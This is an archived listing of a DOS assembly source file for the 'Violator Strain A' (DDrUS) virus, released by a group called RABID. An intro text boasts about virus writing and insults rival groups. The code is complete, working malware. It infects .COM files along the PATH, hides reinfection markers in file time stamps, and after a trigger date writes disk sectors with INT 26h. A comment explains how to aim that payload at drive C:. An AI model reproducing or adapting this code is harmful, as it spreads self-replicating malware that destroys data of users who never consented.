home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIOLA.ASM < prev    next >
Assembly Source File  |  1990-05-02  |  18KB  |  463 lines

  1. ;******************************************************************************
  2. ;               Violator Strain A Source Code
  3. ;******************************************************************************
  4. ;
  5. ; (May/1/1991)
  6. ;
  7. ; Well, in memory of the first anniversary of writing Violator, I have decided
  8. ; to release it's source code publicly. 
  9. ;
  10. ; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set
  11. ; to go off on June 22nd, 1990. The significance of this date and the name
  12. ; Violator, was that my favourite group, Depeche Mode, were comming to Toronto
  13. ; to perform their "World Violator Tour" on that date. 
  14. ;
  15. ; This virus, as you can clearly see, is a base hack of the Vienna virus. The
  16. ; only thing I took out of the Vienna virus was the original scan string, and
  17. ; added date check routines as well as the INT 26 format routine. Other than
  18. ; that, this virus is pretty much like the original Vienna virus.
  19. ;
  20. ; In any event, have fun with this source code, but please keep in mind, that
  21. ; RABID does not condone the modification of this virus further in order to 
  22. ; create even more raging, destructive viruses. This source is being provided
  23. ; to you in order to see how easy it is to modify an existing virus into an
  24. ; instrument of destruction. Also, RABID accepts no responsibility for damage
  25. ; which may be wrought (material or immaterial, financial or personal, you get
  26. ; the idea...) through the spreading of this source code.
  27. ;
  28. ; At this point in time, I'd wish to express greetings to several people.
  29. ;
  30. ; To the Dark Avenger, for releasing "Eddie" source code. We have greatly 
  31. ; improved our programming prowess through analysis of your source code.
  32. ; (It wasn't that bad, despite all your self-scorning negative comments about
  33. ;  effectiveness of certain procedures)
  34. ; Keep up the great work...
  35. ; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker
  36. ; some more...
  37. ;
  38. ; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in
  39. ; anything other than PASCAL or QuickBASIC. 
  40. ;
  41. ; To John McAfee and Associates. Keep up the great work with your SCAN and
  42. ; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't
  43. ; be where you are now... (BTW: How'dya like Violator B4? Did you get our 
  44. ; message, despite the bug in the ANSI routines? >SMOOCH< (hehe))
  45. ;
  46. ; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have
  47. ; it as well...) Keep up the great work, even if it is for research purposes.
  48. ;
  49. ; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our
  50. ; doing. You can blame L.o.L. for that...
  51. ;
  52. ; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What
  53. ; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that
  54. ; you know the backdoors to it, and other BBS software. Yup. Just keep going to
  55. ; those Beverly Hills Snob Private schools and think you'll get somewhere in
  56. ; the world.
  57. ;
  58. ; To Slave Lord. Take your precious group and shove it up your ass sideways.
  59. ; Your cracks suck man! A friend of mine who attended COMDEX last year can
  60. ; sum up the majority of your group in one word. GEEKS! INC rules and it
  61. ; always will. Keep on dreaming... We eat assholes like you for breakfast...
  62. ; Need we even mention how many times we crashed Slave Den last year???
  63. ; 'Nuff said...
  64. ;
  65. ; To PCM2. Where the hell are you man? Get working guy...
  66. ;
  67. ; And to all other virus writers out there who remain annonomous. Keep up the
  68. ; great work. McFee wouldn't be where he is now unless it wansn't for people
  69. ; like us. (He should be greatfull...
  70. ;
  71. ; Take care guys... And watch out. We're everywhere...
  72. ;
  73. ;******************************************************************************
  74. ;
  75. ;                            -=THE=-
  76. ;
  77. ;            The RABID International Development Corp.
  78. ;              -----------------------------------------
  79. ;             Big hey-yo's to: FF, TJA, TM, PT, and MM.
  80. ;
  81. ;
  82. ; "...take heed that no man deceive you. For many shall come in my name,
  83. ; saying I am Christ; and shall deceive many. And ye shall hear of wars and
  84. ; rumours of wars: see that ye be not troubled: for all these things must come
  85. ; to pass, but the end is not yet. For nation shall rise against nation, and
  86. ; kingdom against kingdom: and there shall be famines, and pestilences, and
  87. ; earthquakes, in divers places. All these are the beginning of sorrows."
  88. ; (Matthew 24:4-9)
  89. ;
  90. ; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will
  91. ; be fulfilled.
  92. ;
  93. ; We're getting there unless those bastards in power do something to save this
  94. ; Earth we live on.  
  95. ; Nostradamus prophesised that we may follow one of two paths. One to harmony,
  96. ; or one to destruction. Which path will we follow?
  97. ;
  98. ; Think about it.
  99. ;
  100. ;******************************************************************************
  101.  
  102.  
  103.  
  104. MOV_CX  MACRO   X
  105.         DB      0B9H
  106.         DW      X
  107. ENDM
  108.  
  109. CODE    SEGMENT
  110.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  111.         ORG     $+0100H
  112.  
  113. VCODE:  JMP     virus
  114.  
  115.     nop
  116.     nop
  117.     nop    
  118.     nop
  119.     nop
  120.     nop
  121.     nop
  122.     nop
  123.     nop
  124.     nop
  125.     nop
  126.     nop
  127.     nop
  128.     nop
  129.     nop
  130.     
  131. v_start equ     $
  132.  
  133. virus:  PUSH    CX
  134.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  135.                                         ; The 2nd and 3rd bytes get modified.
  136.         CLD                             ;Pointers will be auto INcremented
  137.         MOV     SI,DX                   ;Access data as offset from SI
  138.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  139.     MOV    CX,3
  140.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  141.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  142.         MOV     SI,DX                   ;Keep SI pointing to the data area
  143.     mov    ah,30h
  144.     int    21h
  145.     cmp    al,0
  146.     JnZ    dos_ok
  147.         JMP     quit                 
  148.  
  149. dos_ok: PUSH    ES
  150.         MOV     AH,2FH
  151.         INT     21H
  152.         MOV     [SI+old_dta],BX
  153.         MOV     [SI+old_dts],ES         ;Save the DTA address
  154.         POP     ES
  155.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  156. ;       NOP                             ;MASM will add this NOP here
  157.         ADD     DX,SI                   ;Compute DTA address
  158.         MOV     AH,1AH
  159.         INT     21H                     ;Set new DTA to inside our own code
  160.         PUSH    ES
  161.         PUSH    SI
  162.         MOV     ES,DS:2CH
  163.         MOV     DI,0                    ;ES:DI points to environment
  164.     JMP    year_check
  165.  
  166. year_check:
  167.     mov    ah,2ah
  168.     int    21h
  169.     cmp    cx,1990
  170.     jge    month_check
  171.     jmp    find_path
  172.     
  173. month_check:
  174.     mov    ah,2ah
  175.     int    21h
  176.     cmp    dh,6
  177.     jge    day_check
  178.     jmp    find_path
  179.  
  180. day_check:
  181.     mov    ah,2ah
  182.     int    21h            ; Set date to June 22nd, 1990
  183.     cmp    dl,22
  184.     jge     alter
  185.     jmp    find_path
  186.  
  187. alter:
  188.     mov    al,1            ; Set for Drive 'B:'
  189.     mov    cx,1              ; Change to 'MOV AL,2' for drive C:
  190.     mov    dx,00
  191.     mov    ds,[di+55]
  192.     mov    bx,[di+99]
  193.     int    26h
  194.     jmp    find_path
  195.  
  196.       
  197. find_path:
  198.         POP     SI
  199.         PUSH    SI                      ;Get SI back
  200.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  201.         LODSB
  202.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  203.         REPNZ   SCASB                   ;Search for first character
  204.         MOV     CX,4
  205.  
  206. check_next_4:
  207.         LODSB
  208.         SCASB
  209.         JNZ     find_path               ;If not all there, abort & start over
  210.         LOOP    check_next_4            ;Loop to check the next character
  211.         POP     SI
  212.         POP     ES
  213.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  214.         MOV     DI,SI
  215.         ADD     DI,wrk_spc              ;File name workspace
  216.         MOV     BX,SI                   ;Save a copy of SI
  217.         ADD     SI,wrk_spc              ;Point SI to workspace
  218.         MOV     DI,SI                   ;Point DI to workspace
  219.         JMP     SHORT   slash_ok
  220.  
  221. set_subdir:
  222.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  223.         JNZ     found_subdir            ;If not, there are more subdirectories
  224.         JMP     all_done                ;Else, we're all done
  225.  
  226.  
  227. found_subdir:
  228.         PUSH    DS
  229.         PUSH    SI
  230.         MOV     DS,ES:2CH               ;DS points to environment segment
  231.         MOV     DI,SI
  232.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  233.         ADD     DI,wrk_spc              ;DI points to file name workspace
  234.  
  235.  
  236. move_subdir:
  237.         LODSB                           ;Get character
  238.         CMP     AL,';'                  ;Is it a ';' delimiter?
  239.         JZ      moved_one               ;Yes, found another subdirectory
  240.         CMP     AL,0                    ;End of PATH string?
  241.         JZ      moved_last_one          ;Yes
  242.         STOSB                           ;Save PATH marker into [DI]
  243.         JMP     SHORT   move_subdir
  244.  
  245. moved_last_one:
  246.         MOV     SI,0
  247.  
  248. moved_one:
  249.         POP     BX                      ;Pointer to virus data area
  250.         POP     DS                      ;Restore DS
  251.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  252.         NOP
  253.         CMP     CH,'\'                  ;Ends with "\"?
  254.         JZ      slash_ok                ;If yes
  255.         MOV     AL,'\'                  ;Add one, if not
  256.         STOSB
  257.  
  258.  
  259. slash_ok:
  260.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  261.         MOV     SI,BX                   ;Restore SI
  262.         ADD     SI,f_spec               ;Point to "*.COM"
  263.         MOV     CX,6
  264.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  265.         MOV     SI,BX
  266.         MOV     AH,4EH
  267.         MOV     DX,wrk_spc
  268. ;       NOP                             ;MASM will add this NOP here
  269.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  270.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  271.         INT     21H
  272.         JMP     SHORT   find_first
  273.  
  274. find_next:
  275.         MOV     AH,4FH
  276.         INT     21H
  277.  
  278. find_first:
  279.         JNB     found_file              ;Jump if we found it
  280.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  281.  
  282. found_file:
  283.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  284.         AND     AL,1FH                  ;Mask to remove all but seconds
  285.         CMP     AL,1FH                  ;62 seconds -> already infected
  286.         JZ      find_next               ;If so, go find another file
  287.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  288.         JA      find_next               ;If too long, find another one
  289.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  290.         JB      find_next               ;Then go find another one
  291.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  292.         PUSH    SI                      ;Save SI
  293.         ADD     SI,dta_nam              ;Point SI to file name
  294.  
  295. more_chars:
  296.         LODSB
  297.         STOSB
  298.         CMP     AL,0
  299.         JNZ     more_chars              ;Move characters until we find a 00
  300.         POP     SI
  301.         MOV     AX,OFFSET 4300H
  302.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  303. ;       NOP                             ;MASM will add this NOP here
  304.         ADD     DX,SI
  305.         INT     21H
  306.         MOV     [SI+old_att],CX         ;Save the old attributes
  307.         MOV     AX,OFFSET 4301H         ;Set attributes
  308.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  309.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  310. ;       NOP                             ;MASM will add this NOP here
  311.         ADD     DX,SI                   ;Point to \path\name
  312.         INT     21H
  313.         MOV     AX,OFFSET 3D02H         ;Read/Write
  314.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  315. ;       NOP                             ;MASM will add this NOP here
  316.         ADD     DX,SI                   ;Point to \path\name
  317.         INT     21H
  318.         JNB     opened_ok               ;If file was opened OK
  319.         JMP     fix_attr                ;If it failed, restore the attributes
  320.  
  321. opened_ok:
  322.         MOV     BX,AX
  323.         MOV     AX,OFFSET 5700H
  324.         INT     21H
  325.         MOV     [SI+old_tim],CX         ;Save file time
  326.         MOV     [SI+ol_date],DX         ;Save the date
  327.         MOV     AH,2CH
  328.         INT     21H
  329.         AND     DH,7                    
  330.         JMP     infect
  331.  
  332. infect:
  333.         MOV     AH,3FH
  334.         MOV     CX,3
  335.         MOV     DX,first_3
  336. ;       NOP                     ;MASM will add this NOP here
  337.         ADD     DX,SI
  338.         INT     21H             ;Save first 3 bytes into the data area
  339.         JB      fix_time_stamp  ;Quit, if read failed
  340.         CMP     AX,3            ;Were we able to read all 3 bytes?
  341.         JNZ     fix_time_stamp  ;Quit, if not
  342.         MOV     AX,OFFSET 4202H
  343.         MOV     CX,0
  344.         MOV     DX,0
  345.         INT     21H
  346.         JB      fix_time_stamp  ;Quit, if it didn't work
  347.         MOV     CX,AX           ;DX:AX (long int) = file size
  348.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  349.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  350.         ADD     CX,OFFSET c_len_y
  351.         MOV     DI,SI           ;Point DI to virus data area
  352.         SUB     DI,OFFSET c_len_x
  353.                                 ;Point DI to reference vir_dat, at start of pgm
  354.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  355.         MOV     AH,40H
  356.         MOV_CX  virlen                  ;Length of virus, in bytes
  357.         MOV     DX,SI
  358.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  359.                                         ; address of virus code in memory
  360.         INT     21H
  361.         JB      fix_time_stamp          ;Jump if error
  362.         CMP     AX,OFFSET virlen        ;All bytes written?
  363.         JNZ     fix_time_stamp          ;Jump if error
  364.         MOV     AX,OFFSET 4200H
  365.         MOV     CX,0
  366.         MOV     DX,0
  367.         INT     21H
  368.         JB      fix_time_stamp          ;Jump if error
  369.         MOV     AH,40H
  370.         MOV     CX,3
  371.         MOV     DX,SI                   ;Virus data area
  372.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  373.         INT     21H
  374.  
  375. fix_time_stamp:
  376.         MOV     DX,[SI+ol_date]         ;Old file date
  377.         MOV     CX,[SI+old_tim]         ;Old file time
  378.         AND     CX,OFFSET 0FFE0H
  379.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  380.         MOV     AX,OFFSET 5701H
  381.         INT     21H
  382.         MOV     AH,3EH
  383.         INT     21H
  384.  
  385. fix_attr:
  386.         MOV     AX,OFFSET 4301H
  387.         MOV     CX,[SI+old_att]         ;Old Attributes
  388.         MOV     DX,wrk_spc
  389. ;       NOP                             ;MASM will add this NOP
  390.         ADD     DX,SI                   ;DX points to \path\name in workspace
  391.         INT     21H
  392.  
  393. all_done:
  394.         PUSH    DS
  395.         MOV     AH,1AH
  396.         MOV     DX,[SI+old_dta]
  397.         MOV     DS,[SI+old_dts]
  398.         INT     21H
  399.         POP     DS
  400.  
  401. quit:
  402.         POP     CX
  403.         XOR     AX,AX
  404.         XOR     BX,BX
  405.         XOR     DX,DX
  406.         XOR     SI,SI
  407.         MOV     DI,OFFSET 0100H
  408.         PUSH    DI
  409.         XOR     DI,DI
  410.         RET     0FFFFH
  411.  
  412. vir_dat EQU     $
  413.  
  414. intro    db    13,10,' DDrUS (C) - 1990 $',13,10
  415. olddta_ DW      0                       ;Old DTA offset
  416. olddts_ DW      0                       ;Old DTA segment
  417. oldtim_ DW      0                       ;Old Time
  418. oldate_ DW      0                       ;Old date
  419. oldatt_ DW      0                       ;Old file attributes
  420. first3_ EQU     $
  421.         INT     20H
  422.         NOP
  423. jmpop_  DB      0E9H                    ;Start of JMP instruction
  424. jmpdsp_ DW      0                       ;The displacement part
  425. fspec_  DB      '*.COM',0
  426. pathad_ DW      0                       ;Path address
  427. namptr_ DW      0                       ;Pointer to start of file name
  428. envstr_ DB      'PATH='                 ;Find this in the environment
  429. wrkspc_ DB      40h dup (0)
  430. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  431. dtatim_ DW      0,0                     ;Time stamp in DTA
  432. dtalen_ DW      0,0                     ;File length in the DTA
  433. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  434.  
  435. lst_byt EQU     $                       ;All lines that assemble into code are
  436.                                         ;  above this one
  437.  
  438. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  439. codelen =       vir_dat - v_start       ;Length of virus code, only
  440. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  441. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  442. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  443. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  444. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  445. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  446. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  447. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  448. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  449. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  450. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  451. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  452. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  453. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  454. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  455. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  456. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  457. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  458. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  459.  
  460.         CODE    ENDS
  461. END     VCODE
  462.